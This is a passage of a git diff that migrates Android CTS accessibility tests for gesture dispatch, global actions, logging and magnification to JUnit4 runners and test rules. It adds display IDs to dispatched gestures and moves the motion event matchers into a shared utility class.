         builder.addStroke(tap1);
         builder.addStroke(tap2);
+        builder.setDisplayId(displayId);
         return builder.build();
     }
 
-    private GestureDescription doubleTapAndHold() {
+    private GestureDescription doubleTapAndHold(int displayId) {
         GestureDescription.Builder builder = new GestureDescription.Builder();
         StrokeDescription tap1 = click(mTapLocation);
         StrokeDescription tap2 = startingAt(endTimeOf(tap1) + 20, longClick(mTapLocation));
         builder.addStroke(tap1);
         builder.addStroke(tap2);
+        builder.setDisplayId(displayId);
         return builder.build();
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
index 2c5da19..a56cf07 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGestureDispatchTest.java
@@ -14,31 +14,46 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibility.cts.common.InstrumentedAccessibilityService.enableService;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 import static android.accessibilityservice.cts.utils.AsyncUtils.await;
 import static android.accessibilityservice.cts.utils.AsyncUtils.awaitCancellation;
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_CANCEL;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_DOWN;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_MOVE;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_POINTER_DOWN;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_POINTER_UP;
+import static android.accessibilityservice.cts.utils.GestureUtils.IS_ACTION_UP;
 import static android.accessibilityservice.cts.utils.GestureUtils.add;
 import static android.accessibilityservice.cts.utils.GestureUtils.ceil;
 import static android.accessibilityservice.cts.utils.GestureUtils.click;
 import static android.accessibilityservice.cts.utils.GestureUtils.diff;
 import static android.accessibilityservice.cts.utils.GestureUtils.dispatchGesture;
+import static android.accessibilityservice.cts.utils.GestureUtils.isAtPoint;
 import static android.accessibilityservice.cts.utils.GestureUtils.longClick;
 import static android.accessibilityservice.cts.utils.GestureUtils.path;
 import static android.accessibilityservice.cts.utils.GestureUtils.times;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
 import static org.hamcrest.CoreMatchers.allOf;
 import static org.hamcrest.CoreMatchers.any;
 import static org.hamcrest.CoreMatchers.both;
 import static org.hamcrest.CoreMatchers.everyItem;
 import static org.hamcrest.CoreMatchers.hasItem;
 import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
 
 import static java.util.concurrent.TimeUnit.MILLISECONDS;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibilityservice.AccessibilityService;
 import android.accessibilityservice.GestureDescription;
 import android.accessibilityservice.GestureDescription.StrokeDescription;
 import android.accessibilityservice.cts.activities.AccessibilityTestActivity;
+import android.app.Instrumentation;
 import android.content.Context;
 import android.content.pm.PackageManager;
 import android.graphics.Matrix;
@@ -47,7 +62,6 @@
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
-import android.test.ActivityInstrumentationTestCase2;
 import android.util.Log;
 import android.view.Display;
 import android.view.MotionEvent;
@@ -56,9 +70,15 @@
 import android.view.WindowManager;
 import android.widget.TextView;
 
-import org.hamcrest.Description;
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
 import org.hamcrest.Matcher;
-import org.hamcrest.TypeSafeMatcher;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
 
 import java.util.ArrayList;
 import java.util.List;
@@ -68,26 +88,28 @@
  * Verify that gestures dispatched from an accessibility service show up in the current UI
  */
 @AppModeFull
-public class AccessibilityGestureDispatchTest extends
-        ActivityInstrumentationTestCase2<AccessibilityGestureDispatchTest.GestureDispatchActivity> {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGestureDispatchTest {
     private static final String TAG = AccessibilityGestureDispatchTest.class.getSimpleName();
 
     private static final int GESTURE_COMPLETION_TIMEOUT = 5000; // millis
     private static final int MOTION_EVENT_TIMEOUT = 1000; // millis
 
-    private static final Matcher<MotionEvent> IS_ACTION_DOWN =
-            new MotionEventActionMatcher(MotionEvent.ACTION_DOWN);
-    private static final Matcher<MotionEvent> IS_ACTION_POINTER_DOWN =
-            new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_DOWN);
-    private static final Matcher<MotionEvent> IS_ACTION_UP =
-            new MotionEventActionMatcher(MotionEvent.ACTION_UP);
-    private static final Matcher<MotionEvent> IS_ACTION_POINTER_UP =
-            new MotionEventActionMatcher(MotionEvent.ACTION_POINTER_UP);
-    private static final Matcher<MotionEvent> IS_ACTION_CANCEL =
-            new MotionEventActionMatcher(MotionEvent.ACTION_CANCEL);
-    private static final Matcher<MotionEvent> IS_ACTION_MOVE =
-            new MotionEventActionMatcher(MotionEvent.ACTION_MOVE);
+    private ActivityTestRule<GestureDispatchActivity> mActivityRule =
+            new ActivityTestRule<>(GestureDispatchActivity.class, false, false);
 
+    private InstrumentedAccessibilityServiceTestRule<StubGestureAccessibilityService> mServiceRule =
+            new InstrumentedAccessibilityServiceTestRule<>(
+                    StubGestureAccessibilityService.class, false);
+
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mServiceRule)
+            .around(mDumpOnFailureRule);
 
     final List<MotionEvent> mMotionEvents = new ArrayList<>();
     StubGestureAccessibilityService mService;
@@ -100,27 +122,25 @@
     boolean mHasTouchScreen;
     boolean mHasMultiTouch;
 
-    public AccessibilityGestureDispatchTest() {
-        super(GestureDispatchActivity.class);
-    }
+    private GestureDispatchActivity mActivity;
 
-    @Override
+    @Before
     public void setUp() throws Exception {
-        super.setUp();
-        PackageManager pm = getInstrumentation().getContext().getPackageManager();
+        Instrumentation instrumentation = getInstrumentation();
+        PackageManager pm = instrumentation.getContext().getPackageManager();
         mHasTouchScreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
         if (!mHasTouchScreen) {
             return;
         }
 
-        getActivity().waitForEnterAnimationComplete();
+        mActivity = launchActivityAndWaitForItToBeOnscreen(instrumentation,
+                instrumentation.getUiAutomation(), mActivityRule);
 
         mHasMultiTouch = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN_MULTITOUCH)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH_MULTITOUCH_DISTINCT);
 
-        mFullScreenTextView =
-                (TextView) getActivity().findViewById(R.id.full_screen_text_view);
+        mFullScreenTextView = mActivity.findViewById(R.id.full_screen_text_view);
         getInstrumentation().runOnMainSync(() -> {
             final int midX = mFullScreenTextView.getWidth() / 2;
             final int midY = mFullScreenTextView.getHeight() / 2;
@@ -129,22 +149,13 @@
             mStartPoint.set(mViewLocation[0] + midX, mViewLocation[1] + midY);
         });
 
-        mService = StubGestureAccessibilityService.enableSelf(getInstrumentation());
+        mService = mServiceRule.enableService();
 
         mMotionEvents.clear();
         mGotUpEvent = false;
     }
 
-    @Override
-    public void tearDown() throws Exception {
-        if (!mHasTouchScreen) {
-            return;
-        }
-
-        runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelf));
-        super.tearDown();
-    }
-
+    @Test
     public void testClickAt_producesDownThenUp() throws InterruptedException {
         if (!mHasTouchScreen) {
             return;
@@ -164,10 +175,10 @@
         assertEquals(0, clickDown.getActionIndex());
         assertEquals(0, clickDown.getDeviceId());
         assertEquals(0, clickDown.getEdgeFlags());
-        assertEquals(1F, clickDown.getXPrecision());
-        assertEquals(1F, clickDown.getYPrecision());
+        assertEquals(1F, clickDown.getXPrecision(), 0F);
+        assertEquals(1F, clickDown.getYPrecision(), 0F);
         assertEquals(1, clickDown.getPointerCount());
-        assertEquals(1F, clickDown.getPressure());
+        assertEquals(1F, clickDown.getPressure(), 0F);
 
         // Verify timing matches click
         assertEquals(clickDown.getDownTime(), clickDown.getEventTime());
@@ -178,6 +189,7 @@
                 > clickUp.getEventTime());
     }
 
+    @Test
     public void testLongClickAt_producesEventsWithLongClickTiming() throws InterruptedException {
         if (!mHasTouchScreen) {
             return;
@@ -198,6 +210,7 @@
         assertEquals(clickDown.getDownTime(), clickUp.getDownTime());
     }
 
+    @Test
     public void testSwipe_shouldContainPointsInALine() throws InterruptedException {
         if (!mHasTouchScreen) {
             return;
@@ -236,6 +249,7 @@
         await(dispatchGesture(mService, gesture), timeoutMs, MILLISECONDS);
     }
 
+    @Test
     public void testSlowSwipe_shouldNotContainMovesForTinyMovement() throws InterruptedException {
         if (!mHasTouchScreen) {
             return;
@@ -260,6 +274,7 @@
         assertThat(mMotionEvents.get(4), both(IS_ACTION_UP).and(isAtPoint(endPoint)));
     }
 
+    @Test
     public void testAngledPinch_looksReasonable() throws InterruptedException {
         if (!(mHasTouchScreen && mHasMultiTouch)) {
             return;
@@ -309,6 +324,7 @@
 
     // This test assumes device's screen contains its center (W/2, H/2) with some surroundings
     // and should work for rectangular, round and round with chin screens.
+    @Test
     public void testClickWhenMagnified_matchesActualTouch() throws InterruptedException {
         final float POINT_TOL = 2.0f;
         final float CLICK_OFFSET_X = 10;
@@ -318,7 +334,7 @@
             return;
         }
 
-        int displayId = getActivity().getWindow().getDecorView().getDisplay().getDisplayId();
+        int displayId = mActivity.getWindow().getDecorView().getDisplay().getDisplayId();
         if (displayId != Display.DEFAULT_DISPLAY) {
             Log.i(TAG, "Magnification is not supported on virtual displays.");
             return;
@@ -327,7 +343,7 @@
         final WindowManager wm = (WindowManager) getInstrumentation().getContext().getSystemService(
                 Context.WINDOW_SERVICE);
         final StubMagnificationAccessibilityService magnificationService =
-                StubMagnificationAccessibilityService.enableSelf(getInstrumentation());
+                enableService(StubMagnificationAccessibilityService.class);
         final AccessibilityService.MagnificationController
                 magnificationController = magnificationService.getMagnificationController();
 
@@ -392,6 +408,7 @@
                 both(IS_ACTION_UP).and(isAtPoint(magRegionOffsetPoint, POINT_TOL)));
     }
 
+    @Test
     public void testContinuedGestures_motionEventsContinue() throws Exception {
         if (!mHasTouchScreen) {
             return;
@@ -426,6 +443,7 @@
                 allOf(IS_ACTION_UP, isAtPoint(end)));
     }
 
+    @Test
     public void testContinuedGesture_withLineDisconnect_isCancelled() throws Exception {
         if (!mHasTouchScreen) {
             return;
@@ -454,6 +472,7 @@
         assertEquals(1, mMotionEvents.size());
     }
 
+    @Test
     public void testContinuedGesture_nextGestureDoesntContinue_isCancelled() throws Exception {
         if (!mHasTouchScreen) {
             return;
@@ -486,6 +505,7 @@
                 both(IS_ACTION_UP).and(isAtPoint(endPoint)));
     }
 
+    @Test
     public void testContinuingGesture_withNothingToContinue_isCancelled() {
         if (!mHasTouchScreen) {
             return;
@@ -631,42 +651,4 @@
                 .addStroke(new StrokeDescription(path2, 0, duration))
                 .build();
     }
-
-    private static class MotionEventActionMatcher extends TypeSafeMatcher<MotionEvent> {
-        int mAction;
-
-        MotionEventActionMatcher(int action) {
-            super();
-            mAction = action;
-        }
-
-        @Override
-        protected boolean matchesSafely(MotionEvent motionEvent) {
-            return motionEvent.getActionMasked() == mAction;
-        }
-
-        @Override
-        public void describeTo(Description description) {
-            description.appendText("Matching to action " + MotionEvent.actionToString(mAction));
-        }
-    }
-
-
-    Matcher<MotionEvent> isAtPoint(final PointF point) {
-        return isAtPoint(point, 0.01f);
-    }
-
-    Matcher<MotionEvent> isAtPoint(final PointF point, final float tol) {
-        return new TypeSafeMatcher<MotionEvent>() {
-            @Override
-            protected boolean matchesSafely(MotionEvent event) {
-                return Math.hypot(event.getX() - point.x, event.getY() - point.y) < tol;
-            }
-
-            @Override
-            public void describeTo(Description description) {
-                description.appendText("Matching to point " + point);
-            }
-        };
-    }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
index c809f26..b5b5766 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityGlobalActionsTest.java
@@ -16,14 +16,30 @@
 
 package android.accessibilityservice.cts;
 
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.homeScreenOrBust;
+
+import static org.junit.Assert.assertTrue;
+
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibilityservice.AccessibilityService;
+import android.accessibilityservice.AccessibilityServiceInfo;
+import android.app.Instrumentation;
+import android.app.UiAutomation;
 import android.os.SystemClock;
 import android.platform.test.annotations.AppModeFull;
 import android.platform.test.annotations.Presubmit;
-import android.test.InstrumentationTestCase;
-import android.test.suitebuilder.annotation.MediumTest;
 
-import androidx.test.filters.FlakyTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+import androidx.test.filters.MediumTest;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.After;
+import org.junit.AfterClass;
+import org.junit.Before;
+import org.junit.BeforeClass;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
 
 import java.util.concurrent.TimeoutException;
 
@@ -32,7 +48,8 @@
  */
 @Presubmit
 @AppModeFull
-public class AccessibilityGlobalActionsTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityGlobalActionsTest {
     /**
      * Timeout required for pending Binder calls or event processing to
      * complete.
@@ -44,109 +61,113 @@
      */
     private static final long TIMEOUT_ACCESSIBILITY_STATE_IDLE = 500;
 
+    private static Instrumentation sInstrumentation;
+    private static UiAutomation sUiAutomation;
+
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    @BeforeClass
+    public static void oneTimeSetup() {
+        sInstrumentation = InstrumentationRegistry.getInstrumentation();
+        sUiAutomation = sInstrumentation.getUiAutomation();
+        AccessibilityServiceInfo info = sUiAutomation.getServiceInfo();
+        info.flags |= AccessibilityServiceInfo.FLAG_RETRIEVE_INTERACTIVE_WINDOWS;
+        sUiAutomation.setServiceInfo(info);
+    }
+
+    @AfterClass
+    public static void postTestTearDown() {
+        sUiAutomation.destroy();
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        // Make sure we start test on home screen so we can know if clean up is successful
+        // or not in the end.
+        homeScreenOrBust(sInstrumentation.getContext(), sUiAutomation);
+    }
+
+    @After
+    public void tearDown() throws Exception {
+        // Make sure we clean up and back to home screen again, or let test fail...
+        homeScreenOrBust(sInstrumentation.getContext(), sUiAutomation);
+    }
+
     @MediumTest
+    @Test
     public void testPerformGlobalActionBack() throws Exception {
-        assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
-                AccessibilityService.GLOBAL_ACTION_BACK));
+        assertTrue(sUiAutomation.performGlobalAction(AccessibilityService.GLOBAL_ACTION_BACK));
 
         // Sleep a bit so the UI is settled.
         waitForIdle();
     }
 
     @MediumTest
+    @Test
     public void testPerformGlobalActionHome() throws Exception {
-        assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
-                AccessibilityService.GLOBAL_ACTION_HOME));
+        assertTrue(sUiAutomation.performGlobalAction(AccessibilityService.GLOBAL_ACTION_HOME));
 
         // Sleep a bit so the UI is settled.
         waitForIdle();
     }
 
     @MediumTest
+    @Test
     public void testPerformGlobalActionRecents() throws Exception {
         // Perform the action.
-        boolean actionWasPerformed =
-                getInstrumentation().getUiAutomation().performGlobalAction(
-                        AccessibilityService.GLOBAL_ACTION_RECENTS);
+        boolean actionWasPerformed = sUiAutomation.performGlobalAction(
+                AccessibilityService.GLOBAL_ACTION_RECENTS);
 
         // Sleep a bit so the UI is settled.
         waitForIdle();
 
         if (actionWasPerformed) {
-            // This is a necessary since the back action does not
+            // This is a necessary since the global action does not
             // dismiss recents until they stop animating. Sigh...
             SystemClock.sleep(5000);
-
-            // Clean up.
-            getInstrumentation().getUiAutomation().performGlobalAction(
-                    AccessibilityService.GLOBAL_ACTION_BACK);
         }
-
-        // Sleep a bit so the UI is settled.
-        waitForIdle();
     }
 
     @MediumTest
-    @FlakyTest
+    @Test
     public void testPerformGlobalActionNotifications() throws Exception {
         // Perform the action under test
-        assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
+        assertTrue(sUiAutomation.performGlobalAction(
                 AccessibilityService.GLOBAL_ACTION_NOTIFICATIONS));
 
         // Sleep a bit so the UI is settled.
         waitForIdle();
-
-        // Clean up.
-        assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
-                AccessibilityService.GLOBAL_ACTION_BACK));
-
-        // Sleep a bit so the UI is settled.
-        waitForIdle();
     }
 
     @MediumTest
-    @FlakyTest
+    @Test
     public void testPerformGlobalActionQuickSettings() throws Exception {
         // Check whether the action succeeded.
-        assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
+        assertTrue(sUiAutomation.performGlobalAction(
                 AccessibilityService.GLOBAL_ACTION_QUICK_SETTINGS));
 
         // Sleep a bit so the UI is settled.
         waitForIdle();
-
-        // Clean up.
-        // The GLOBAL_ACTION_HOME is needed in the case where additional
-        // notifications showing up, we need to clear them as well for the upcoming
-        // new tests to work properly.
-        getInstrumentation().getUiAutomation().performGlobalAction(
-                AccessibilityService.GLOBAL_ACTION_HOME);
-
-        // Sleep a bit so the UI is settled.
-        waitForIdle();
     }
 
     @MediumTest
-    @FlakyTest
+    @Test
     public void testPerformGlobalActionPowerDialog() throws Exception {
         // Check whether the action succeeded.
-        assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
+        assertTrue(sUiAutomation.performGlobalAction(
                 AccessibilityService.GLOBAL_ACTION_POWER_DIALOG));
 
         // Sleep a bit so the UI is settled.
         waitForIdle();
-
-        // Clean up.
-        getInstrumentation().getUiAutomation().performGlobalAction(
-                AccessibilityService.GLOBAL_ACTION_BACK);
-
-        // Sleep a bit so the UI is settled.
-        waitForIdle();
     }
 
     @MediumTest
+    @Test
     public void testPerformActionScreenshot() throws Exception {
         // Action should succeed
-        assertTrue(getInstrumentation().getUiAutomation().performGlobalAction(
+        assertTrue(sUiAutomation.performGlobalAction(
                 AccessibilityService.GLOBAL_ACTION_TAKE_SCREENSHOT));
         // Ideally should verify that we actually have a screenshot, but it's also possible
         // for the screenshot to fail
@@ -154,8 +175,6 @@
     }
 
     private void waitForIdle() throws TimeoutException {
-        getInstrumentation().getUiAutomation().waitForIdle(
-                TIMEOUT_ACCESSIBILITY_STATE_IDLE,
-                TIMEOUT_ASYNC_PROCESSING);
+        sUiAutomation.waitForIdle(TIMEOUT_ACCESSIBILITY_STATE_IDLE, TIMEOUT_ASYNC_PROCESSING);
     }
 }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
index 9654352..66baa04 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityLoggingTest.java
@@ -17,6 +17,7 @@
 
 import static junit.framework.Assert.assertTrue;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.content.Context;
 import android.platform.test.annotations.Presubmit;
 
@@ -25,6 +26,7 @@
 
 import com.android.compatibility.common.util.AppOpsUtils;
 
+import org.junit.Rule;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -32,6 +34,10 @@
 @Presubmit
 public class AccessibilityLoggingTest {
 
+    @Rule
+    public final AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
     /**
      * Tests that new accessibility services are logged by the system.
      */
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
index 2774457..c832368 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/AccessibilityMagnificationTest.java
@@ -16,8 +16,16 @@
 
 package android.accessibilityservice.cts;
 
-import static android.accessibilityservice.cts.utils.CtsTestUtils.runIfNotNull;
+import static android.accessibilityservice.cts.utils.ActivityLaunchUtils.launchActivityAndWaitForItToBeOnscreen;
 
+import static androidx.test.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.compatibility.common.util.TestUtils.waitOn;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
 import static org.mockito.Mockito.any;
 import static org.mockito.Mockito.anyFloat;
 import static org.mockito.Mockito.eq;
@@ -25,16 +33,35 @@
 import static org.mockito.Mockito.timeout;
 import static org.mockito.Mockito.verify;
 
+import android.accessibility.cts.common.AccessibilityDumpOnFailureRule;
 import android.accessibility.cts.common.InstrumentedAccessibilityService;
+import android.accessibility.cts.common.InstrumentedAccessibilityServiceTestRule;
 import android.accessibility.cts.common.ShellCommandBuilder;
 import android.accessibilityservice.AccessibilityService.MagnificationController;
 import android.accessibilityservice.AccessibilityService.MagnificationController.OnMagnificationChangedListener;
 import android.accessibilityservice.AccessibilityServiceInfo;
+import android.accessibilityservice.cts.activities.AccessibilityWindowQueryActivity;
+import android.app.Activity;
 import android.app.Instrumentation;
+import android.app.UiAutomation;
+import android.graphics.Point;
 import android.graphics.Rect;
 import android.graphics.Region;
 import android.platform.test.annotations.AppModeFull;
-import android.test.InstrumentationTestCase;
+import android.util.DisplayMetrics;
+import android.view.View;
+import android.view.ViewGroup;
+import android.view.accessibility.AccessibilityNodeInfo;
+import android.widget.Button;
+
+import androidx.test.rule.ActivityTestRule;
+import androidx.test.runner.AndroidJUnit4;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
 
 import java.util.concurrent.atomic.AtomicBoolean;
 
@@ -42,7 +69,8 @@
  * Class for testing {@link AccessibilityServiceInfo}.
  */
 @AppModeFull
-public class AccessibilityMagnificationTest extends InstrumentationTestCase {
+@RunWith(AndroidJUnit4.class)
+public class AccessibilityMagnificationTest {
 
     /** Maximum timeout when waiting for a magnification callback. */
     public static final int LISTENER_TIMEOUT_MILLIS = 500;
@@ -51,25 +79,39 @@
     private StubMagnificationAccessibilityService mService;
     private Instrumentation mInstrumentation;
 
-    @Override
+    private AccessibilityDumpOnFailureRule mDumpOnFailureRule =
+            new AccessibilityDumpOnFailureRule();
+
+    private final ActivityTestRule<AccessibilityWindowQueryActivity> mActivityRule =
+            new ActivityTestRule<>(AccessibilityWindowQueryActivity.class, false, false);
+
+    private InstrumentedAccessibilityServiceTestRule<InstrumentedAccessibilityService>
+            mInstrumentedAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    InstrumentedAccessibilityService.class, false);
+
+    private InstrumentedAccessibilityServiceTestRule<StubMagnificationAccessibilityService>
+            mMagnificationAccessibilityServiceRule = new InstrumentedAccessibilityServiceTestRule<>(
+                    StubMagnificationAccessibilityService.class, false);
+
+    @Rule
+    public final RuleChain mRuleChain = RuleChain
+            .outerRule(mActivityRule)
+            .around(mMagnificationAccessibilityServiceRule)
+            .around(mInstrumentedAccessibilityServiceRule)
+            .around(mDumpOnFailureRule);
+
+    @Before
     public void setUp() throws Exception {
-        super.setUp();
-        ShellCommandBuilder.create(this.getInstrumentation())
+        ShellCommandBuilder.create(getInstrumentation())
                 .deleteSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED)
                 .run();
         mInstrumentation = getInstrumentation();
         // Starting the service will force the accessibility subsystem to examine its settings, so
         // it will update magnification in the process to disable it.
-        mService = StubMagnificationAccessibilityService.enableSelf(mInstrumentation);
+        mService = mMagnificationAccessibilityServiceRule.enableService();
     }
 
-    @Override
-    protected void tearDown() throws Exception {
-        runIfNotNull(mService, service -> service.runOnServiceSync(service::disableSelfAndRemove));
-
-        super.tearDown();
-    }
-
+    @Test
     public void testSetScale() {
         final MagnificationController controller = mService.getMagnificationController();
         final float scale = 2.0f;
@@ -78,14 +120,15 @@
         mService.runOnServiceSync(() -> result.set(controller.setScale(scale, false)));
 
         assertTrue("Failed to set scale", result.get());
-        assertEquals("Failed to apply scale", scale, controller.getScale());
+        assertEquals("Failed to apply scale", scale, controller.getScale(), 0f);
 
         mService.runOnServiceSync(() -> result.set(controller.reset(false)));
 
         assertTrue("Failed to reset", result.get());
-        assertEquals("Failed to apply reset", 1.0f, controller.getScale());
+        assertEquals("Failed to apply reset", 1.0f, controller.getScale(), 0f);
     }
 
+    @Test
     public void testSetScaleAndCenter() {
         final MagnificationController controller = mService.getMagnificationController();
         final Region region = controller.getMagnificationRegion();
@@ -103,7 +146,7 @@
         });
 
         assertTrue("Failed to set scale", setScale.get());
-        assertEquals("Failed to apply scale", scale, controller.getScale());
+        assertEquals("Failed to apply scale", scale, controller.getScale(), 0f);
 
         assertTrue("Failed to set center", setCenter.get());
         assertEquals("Failed to apply center X", x, controller.getCenterX(), 5.0f);
@@ -112,9 +155,10 @@
         mService.runOnServiceSync(() -> result.set(controller.reset(false)));
 
         assertTrue("Failed to reset", result.get());
-        assertEquals("Failed to apply reset", 1.0f, controller.getScale());
+        assertEquals("Failed to apply reset", 1.0f, controller.getScale(), 0f);
     }
 
+    @Test
     public void testListener() {
         final MagnificationController controller = mService.getMagnificationController();
         final OnMagnificationChangedListener listener = mock(OnMagnificationChangedListener.class);
@@ -140,23 +184,21 @@
         }
     }
 
+    @Test
     public void testMagnificationServiceShutsDownWhileMagnifying_shouldReturnTo1x() {
         final MagnificationController controller = mService.getMagnificationController();
         mService.runOnServiceSync(() -> controller.setScale(2.0f, false));
 
         mService.runOnServiceSync(() -> mService.disableSelf());
         mService = null;
-        InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
-                mInstrumentation, InstrumentedAccessibilityService.class);
+        InstrumentedAccessibilityService service =
+                mInstrumentedAccessibilityServiceRule.enableService();
         final MagnificationController controller2 = service.getMagnificationController();
-        try {
-            assertEquals("Magnification must reset when a service dies",
-                    1.0f, controller2.getScale());
-        } finally {
-            service.runOnServiceSync(() -> service.disableSelf());
-        }
+        assertEquals("Magnification must reset when a service dies",
+                1.0f, controller2.getScale(), 0f);
     }
 
+    @Test
     public void testGetMagnificationRegion_whenCanControlMagnification_shouldNotBeEmpty() {
         final MagnificationController controller = mService.getMagnificationController();
         Region magnificationRegion = controller.getMagnificationRegion();
@@ -164,42 +206,40 @@
                  + "magnification is being actively controlled", magnificationRegion.isEmpty());
     }
 
+    @Test
     public void testGetMagnificationRegion_whenCantControlMagnification_shouldBeEmpty() {
         mService.runOnServiceSync(() -> mService.disableSelf());
         mService = null;
-        InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
-                mInstrumentation, InstrumentedAccessibilityService.class);
-        try {
-            final MagnificationController controller = service.getMagnificationController();
-            Region magnificationRegion = controller.getMagnificationRegion();
-            assertTrue("Magnification region should be empty when magnification "
-                    + "is not being actively controlled", magnificationRegion.isEmpty());
-        } finally {
-            service.runOnServiceSync(() -> service.disableSelf());
-        }
+        InstrumentedAccessibilityService service =
+                mInstrumentedAccessibilityServiceRule.enableService();
+        final MagnificationController controller = service.getMagnificationController();
+        Region magnificationRegion = controller.getMagnificationRegion();
+        assertTrue("Magnification region should be empty when magnification "
+                + "is not being actively controlled", magnificationRegion.isEmpty());
     }
 
+    @Test
     public void testGetMagnificationRegion_whenMagnificationGesturesEnabled_shouldNotBeEmpty() {
         ShellCommandBuilder.create(mInstrumentation)
                 .putSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED, "1")
                 .run();
         mService.runOnServiceSync(() -> mService.disableSelf());
         mService = null;
-        InstrumentedAccessibilityService service = InstrumentedAccessibilityService.enableService(
-                mInstrumentation, InstrumentedAccessibilityService.class);
+        InstrumentedAccessibilityService service =
+                mInstrumentedAccessibilityServiceRule.enableService();
         try {
             final MagnificationController controller = service.getMagnificationController();
             Region magnificationRegion = controller.getMagnificationRegion();
             assertFalse("Magnification region should not be empty when magnification "
                     + "gestures are active", magnificationRegion.isEmpty());
         } finally {
-            service.runOnServiceSync(() -> service.disableSelf());
             ShellCommandBuilder.create(mInstrumentation)
                     .deleteSecureSetting(ACCESSIBILITY_DISPLAY_MAGNIFICATION_ENABLED)
                     .run();
         }
     }
 
+    @Test
     public void testAnimatingMagnification() throws InterruptedException {
         final MagnificationController controller = mService.getMagnificationController();
         final int timeBetweenAnimationChanges = 100;
@@ -239,4 +279,121 @@
             Thread.sleep(timeBetweenAnimationChanges);
         }
     }
+
+    @Test
+    public void testA11yNodeInfoVisibility_whenOutOfMagnifiedArea_shouldVisible()
+            throws Exception{
+        final UiAutomation uiAutomation = mInstrumentation.getUiAutomation(
+                UiAutomation.FLAG_DONT_SUPPRESS_ACCESSIBILITY_SERVICES);
+        final Activity activity = launchActivityAndWaitForItToBeOnscreen(
+                mInstrumentation, uiAutomation, mActivityRule);
